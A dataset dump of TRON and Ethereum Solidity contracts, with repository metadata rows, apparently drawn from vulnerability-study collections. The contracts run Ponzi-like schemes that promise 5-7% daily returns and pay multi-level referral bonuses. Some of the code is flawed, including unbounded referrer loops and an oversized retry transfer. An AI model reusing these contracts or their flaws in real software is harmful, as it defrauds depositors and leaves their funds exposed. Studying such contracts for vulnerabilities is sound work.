users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
if(sendtron){
return sendTRONDividends(userAddress, referrerAddress, 2, level);
}
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level, true);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level, sendtron);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level, bool sendtron) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
if(sendtron){
return sendTRONDividends(userAddress, referrerAddress, 2, level);
}
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level, sendtron);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
if(sendtron){
sendTRONDividends(userAddress, owner, 2, level);
}
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function distributeLevelIncome(address userAddress, uint8 matrix, uint8 level) private {
uint principal = (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR) * 100;
address from_address = userAddress;
bool owner_flag = false;
address receiver;
if(userAddress == owner){
owner_flag = true;
}
for (uint8 i = 1; i <= 10 ; i++) {
if(owner_flag == false)
{
userAddress = users[userAddress].referrer;
if(userAddress == owner)
{
owner_flag = true;
}
}
else
{
userAddress = owner;
}
receiver = userAddress;
if(userAddress != owner)
{
if(receiver == owner)
{
owner_flag = true;
}
userAddress = receiver;
}
if(!address(uint160(receiver)).send(((principal * levelIncome / LEVEL_DIVISOR))))
{
uint income = (principal * levelIncome / LEVEL_DIVISOR) * 100;
return address(uint160(receiver)).transfer(income);
}
if(owner_flag == false){
emit SentLevelincome(from_address,users[from_address].id, receiver,users[receiver].id, matrix, level, i);
}
}
}
function sendTRONDividends(address _from, address userAddress, uint8 matrix, uint8 level) private {
if(!address(uint160(userAddress)).send(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR))){
return address(uint160(userAddress)).transfer(levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR));
}
emit SentDividends(_from, userAddress, matrix, levelPrice[level] - (levelPrice[level] * LEVEL_PER / LEVEL_DIVISOR));
return distributeLevelIncome(userAddress, matrix, level);
}
function sendDefishareTRON(address _from, uint8 level) private {
address(uint160(owner)).transfer(levelPrice[level]);
emit BuyDefishare(_from, level);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 297,717 | 13,202 |
b58a51b1b89409e639847503782233198b2c80888f5cf5086a51128668ce1a30
| 23,714 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TASY5EUvessd52AcZDghFF2FZFicu1baNs_EnergyTronFarm.sol
| 6,584 | 22,575 |
//SourceUnit: energytronfarm.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 level4RefCount;
uint256 level5RefCount;
uint256 timer;
uint256 turnover;
uint256 currentLevel;
uint256 bonusEarnings;
}
struct Bonus {
uint256 gap;
uint256 prize;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EnergyTronFarm is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 100; //per thousand
uint256 public constant MARKETING_RATE = 10;
uint256 public constant ADMIN_RATE = 10;
uint256 public constant REFERENCE_RATE = 80;
uint256 public constant REFERENCE_LEVEL1_RATE = 30;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
uint256 public constant REFERENCE_LEVEL4_RATE = 10;
uint256 public constant REFERENCE_LEVEL5_RATE = 10;
uint256 public constant ACTIVATION_TIME = 0;
uint256 public constant MINIMUM = 200000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 1000; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private adminAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
mapping(uint256 => Objects.Bonus) public bonusLevels;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = address(0x41CCC74BC7DF6D97097C43071C875A15ABC81FF111);
adminAccount_ = address(0x4165FA002967896BAB0BF8C374D2A8E824F51DA8E5);
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(50, 40*60*60*24)); //40 days
investmentPlans_.push(Objects.Plan(60, 40*60*60*24)); //40 days
investmentPlans_.push(Objects.Plan(64, 40*60*60*24)); //40 days
investmentPlans_.push(Objects.Plan(70, 40*60*60*24)); //40 days
bonusLevels[1] = Objects.Bonus(15000*1e6,200*1e6);
bonusLevels[2] = Objects.Bonus(50000*1e6,300*1e6);
bonusLevels[3] = Objects.Bonus(100000*1e6,500*1e6);
bonusLevels[4] = Objects.Bonus(500000*1e6,4000*1e6);
bonusLevels[5] = Objects.Bonus(1000000*1e6,15000*1e6);
bonusLevels[6] = Objects.Bonus(5000000*1e6,80000*1e6);
bonusLevels[7] = Objects.Bonus(10000000*1e6,200000*1e6);
bonusLevels[8] = Objects.Bonus(20000000*1e6,1300000*1e6);
bonusLevels[9] = Objects.Bonus(50000000*1e6,2400000*1e6);
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getTimer(address _addr) public view returns (uint256) {
return uid2Investor[address2UID[_addr]].timer;
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256,uint256,uint256, uint256, uint256[] memory, uint256[] memory,uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory refStats = new uint256[](2);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
refStats[0] = investor.turnover;
refStats[1] = investor.bonusEarnings;
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.level4RefCount,
investor.level5RefCount,
investor.planCount,
currentDividends,
newDividends,
refStats);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
isExpireds[i] = true;
}
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _ref5 = uid2Investor[_ref4].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
if (_ref4 >= REFERRER_CODE) {
uid2Investor[_ref4].level4RefCount = uid2Investor[_ref4].level4RefCount.add(1);
}
if (_ref5 >= REFERRER_CODE) {
uid2Investor[_ref5].level5RefCount = uid2Investor[_ref5].level5RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(ACTIVATION_TIME < now , "NOT_YET_LAUNCHED");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
uint256 adminPercentage = (_amount.mul(ADMIN_RATE)).div(1000);
adminAccount_.transfer(adminPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
require(uid2Investor[uid].timer < now, "Exchanges every 24 hours");
uid2Investor[uid].timer = now + 24 hours;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
msg.sender.transfer(withdrawalAmount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _ref5 = uid2Investor[_ref4].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
uid2Investor[_ref1].turnover = _investment.add(uid2Investor[_ref1].turnover);
if(uid2Investor[_ref1].currentLevel < 9 && bonusLevels[uid2Investor[_ref1].currentLevel + 1].gap <= uid2Investor[_ref1].turnover){
uid2Investor[_ref1].availableReferrerEarnings = bonusLevels[uid2Investor[_ref1].currentLevel + 1].prize.add(uid2Investor[_ref1].availableReferrerEarnings);
uid2Investor[_ref1].currentLevel++;
uid2Investor[_ref1].bonusEarnings = bonusLevels[uid2Investor[_ref1].currentLevel].prize.add(uid2Investor[_ref1].bonusEarnings);
}
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
uid2Investor[_ref2].turnover = (_investment.div(2)).add(uid2Investor[_ref2].turnover);
if(uid2Investor[_ref2].currentLevel < 9 && bonusLevels[uid2Investor[_ref2].currentLevel + 1].gap <= uid2Investor[_ref2].turnover){
uid2Investor[_ref2].availableReferrerEarnings = bonusLevels[uid2Investor[_ref2].currentLevel + 1].prize.add(uid2Investor[_ref2].availableReferrerEarnings);
uid2Investor[_ref2].currentLevel++;
uid2Investor[_ref2].bonusEarnings = bonusLevels[uid2Investor[_ref2].currentLevel].prize.add(uid2Investor[_ref2].bonusEarnings);
}
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
uid2Investor[_ref3].turnover = (_investment.div(4)).add(uid2Investor[_ref3].turnover);
if(uid2Investor[_ref3].currentLevel < 9 && bonusLevels[uid2Investor[_ref3].currentLevel + 1].gap <= uid2Investor[_ref3].turnover){
uid2Investor[_ref3].availableReferrerEarnings = bonusLevels[uid2Investor[_ref3].currentLevel + 1].prize.add(uid2Investor[_ref3].availableReferrerEarnings);
uid2Investor[_ref3].currentLevel++;
uid2Investor[_ref3].bonusEarnings = bonusLevels[uid2Investor[_ref3].currentLevel].prize.add(uid2Investor[_ref3].bonusEarnings);
}
}
if (_ref4 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref4].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref4].availableReferrerEarnings);
uid2Investor[_ref4].turnover = (_investment.div(10)).add(uid2Investor[_ref4].turnover);
if(uid2Investor[_ref4].currentLevel < 9 && bonusLevels[uid2Investor[_ref4].currentLevel + 1].gap <= uid2Investor[_ref4].turnover){
uid2Investor[_ref4].availableReferrerEarnings = bonusLevels[uid2Investor[_ref4].currentLevel + 1].prize.add(uid2Investor[_ref4].availableReferrerEarnings);
uid2Investor[_ref4].currentLevel++;
uid2Investor[_ref4].bonusEarnings = bonusLevels[uid2Investor[_ref4].currentLevel].prize.add(uid2Investor[_ref4].bonusEarnings);
}
}
if (_ref5 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL5_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref5].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref5].availableReferrerEarnings);
uid2Investor[_ref5].turnover = (_investment.div(20)).add(uid2Investor[_ref5].turnover);
if(uid2Investor[_ref5].currentLevel < 9 && bonusLevels[uid2Investor[_ref5].currentLevel + 1].gap <= uid2Investor[_ref5].turnover){
uid2Investor[_ref5].availableReferrerEarnings = bonusLevels[uid2Investor[_ref5].currentLevel + 1].prize.add(uid2Investor[_ref5].availableReferrerEarnings);
uid2Investor[_ref5].currentLevel++;
uid2Investor[_ref5].bonusEarnings = bonusLevels[uid2Investor[_ref5].currentLevel].prize.add(uid2Investor[_ref5].bonusEarnings);
}
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 301,725 | 13,203 |
49ecb65b86fc0be98817351e8f2e124a7fb951a4e17156601d72abc4bdf90da6
| 21,997 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x46001ab6f66a082ab88e7f59947711d3ebb39714.sol
| 5,881 | 19,226 |
pragma solidity ^0.4.23;
contract InvestorsStorage {
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refBonus;
}
struct itmap {
mapping(address => investor) data;
address[] keys;
}
itmap private s;
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
s.keys.length++;
}
function insert(address addr, uint value) public onlyOwner returns (bool) {
uint keyIndex = s.data[addr].keyIndex;
if (keyIndex != 0) return false;
s.data[addr].value = value;
keyIndex = s.keys.length++;
s.data[addr].keyIndex = keyIndex;
s.keys[keyIndex] = addr;
return true;
}
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint) {
return (s.data[addr].keyIndex,
s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus);
}
function investorBaseInfo(address addr) public view returns(uint, uint, uint) {
return (s.data[addr].value,
s.data[addr].paymentTime,
s.data[addr].refBonus);
}
function investorShortInfo(address addr) public view returns(uint, uint) {
return (s.data[addr].value,
s.data[addr].refBonus);
}
function addRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus += refBonus;
return true;
}
function addValue(address addr, uint value) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].value += value;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].paymentTime = paymentTime;
return true;
}
function setRefBonus(address addr, uint refBonus) public onlyOwner returns (bool) {
if (s.data[addr].keyIndex == 0) return false;
s.data[addr].refBonus = refBonus;
return true;
}
function keyFromIndex(uint i) public view returns (address) {
return s.keys[i];
}
function contains(address addr) public view returns (bool) {
return s.data[addr].keyIndex > 0;
}
function size() public view returns (uint) {
return s.keys.length;
}
function iterStart() public pure returns (uint) {
return 1;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
